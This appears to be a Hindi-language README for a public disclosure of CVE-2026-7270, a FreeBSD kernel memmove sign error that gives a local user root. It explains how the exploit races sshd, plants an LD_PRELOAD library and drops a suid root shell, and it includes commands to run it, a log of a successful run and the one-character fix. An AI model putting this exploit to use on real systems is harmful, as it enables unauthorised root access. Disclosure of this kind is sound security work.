
CVE-2026-7270 FreeBSD स्थानीय विशेषाधिकार वृद्धि exec_args_adjust_args OOB memmove के माध्यम से
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
FreeBSD स्थानीय विशेषाधिकार वृद्धि exec_args_adjust_args OOB memmove के माध्यम से
exec_args_adjust_args() (sys/kern/kern_exec.c, 2013 से मौजूद) में एक ऑपरेटर-प्राथमिकता बग किसी भी स्थानीय उपयोगकर्ता को sshd चल रहे डिफ़ॉल्ट FreeBSD इंस्टॉल पर रूट तक विशेषाधिकार बढ़ाने की अनुमति देता है। कोई suid बाइनरी, कोई कर्नेल मॉड्यूल, कोई कॉन्फ़िगरेशन परिवर्तन आवश्यक नहीं है।
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + should be - */
+ consume को - consume होना चाहिए। गलत चिह्न memmove को सही endp - begin_argv - consume के बजाय 2 * consume बाइट्स कॉपी करने का कारण बनता है। शीबैंग exec में 265,185-बाइट argv[0] के साथ, memmove 528,384-बाइट exec_map प्रविष्टि को आसन्न प्रविष्टि में 2,024 बाइट्स से अधिक कर देता है — कोई क्रैश नहीं, कोई सिग्नल नहीं, कोई पेज फॉल्ट नहीं।
एक्सप्लॉइट OOB memmove को आने वाले TCP कनेक्शनों पर sshd के fork/execv के विरुद्ध रेस करता है। sshd-session बिना किसी suid/sgid संक्रमण के रूट-से-रूट निष्पादित होता है, इसलिए issetugid() 0 लौटाता है और रनटाइम लिंकर LD_PRELOAD का सम्मान करता है। एक्सप्लॉइट sshd-session की exec_map प्रविष्टि में LD_PRELOAD=/tmp/evil.so स्थापित करता है; evil.so कंस्ट्रक्टर uid=0 के रूप में चलता है और /tmp/rootsh पर एक suid रूट शेल छोड़ता है।
राउंड 5,030 पर रूट प्राप्त हुआ, 4-CPU VM पर लॉन्च के ~6 सेकंड बाद।
| प्रभावित संस्करण | FreeBSD 11.0 से 14.4 (सभी रिलीज़; प्रकटीकरण के समय किसी भी शाखा में कोई फिक्स नहीं) |
| पूर्वापेक्षाएँ | स्थानीय अन-विशेषाधिकार प्राप्त शेल; sshd चल रहा हो (FreeBSD पर डिफ़ॉल्ट) |
| विश्वसनीयता | ~0.6% हिट दर प्रति राउंड; 4-CPU सिस्टम पर सेकंडों में रूट |
| परीक्षण किया गया | FreeBSD 14.4-RELEASE-p1 amd64, GENERIC कर्नेल, 4 CPUs, 2GB RAM |
sys/kern/kern_exec.c में एक अक्षर बदलें:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
| फ़ाइल | विवरण |
|---|---|
exec1_lpe21.c | स्व-निहित एक्सप्लॉइट — अन-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में संकलित और चलाएँ |
run_poc.sh | QEMU स्वचालन: FreeBSD 14.4 बूट करता है, संकलित करता है, और एक्सप्लॉइट चलाता है |
WRITEUP.md | पूर्ण तकनीकी लेख: बग विश्लेषण, एक्सप्लॉइट आर्किटेक्चर, विकास इतिहास |
blog.md | खोज और एक्सप्लॉइट विकास का वर्णनात्मक विवरण |
images/ | SVG आरेख: exec_map लेआउट, सेल्फ-कॉपी तंत्र, पूर्ण हमला अवलोकन |
FreeBSD 14.4 लक्ष्य पर, किसी भी अन-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... कुछ सेकंड ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
QEMU के अंतर्गत (macOS होस्ट, qemu और sshpass की आवश्यकता है):
./run_poc.sh # VM बूट करता है, संकलित करता है, एक्सप्लॉइट चलाता है
./run_poc.sh run # पहले से चल रहे VM के विरुद्ध फिर से चलाएँ
./run_poc.sh clean # VM आर्टिफैक्ट हटाएँ
$ ./run_poc.sh
[*] FreeBSD 14.4 VM बूट हो रहा है (4 CPUs, 2GB RAM, पोर्ट 2225 पर SSH)...
[*] QEMU pid 25908, लॉग: vm.log
[*] पोर्ट 2225 पर SSH की प्रतीक्षा...
[*] SSH 1s के बाद ऊपर
[*] एक्सप्लॉइट स्रोत VM में कॉपी हो रहा है...
[*] अन-विशेषाधिकार प्राप्त उपयोगकर्ता 'freebsd' बनाया जा रहा है और संकलित किया जा रहा है...
[*] संकलन ठीक
[*] 'freebsd' के रूप में एक्सप्लॉइट चल रहा है (15000 राउंड तक)...
[*] नीचे ROOT OBTAINED देखें:
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=3413
[!!!] रूट शेल: /tmp/rootsh -p
[*] रूट सत्यापित किया जा रहा है...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== rootsh के माध्यम से id ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] VM रोका जा रहा है (pid 25908)...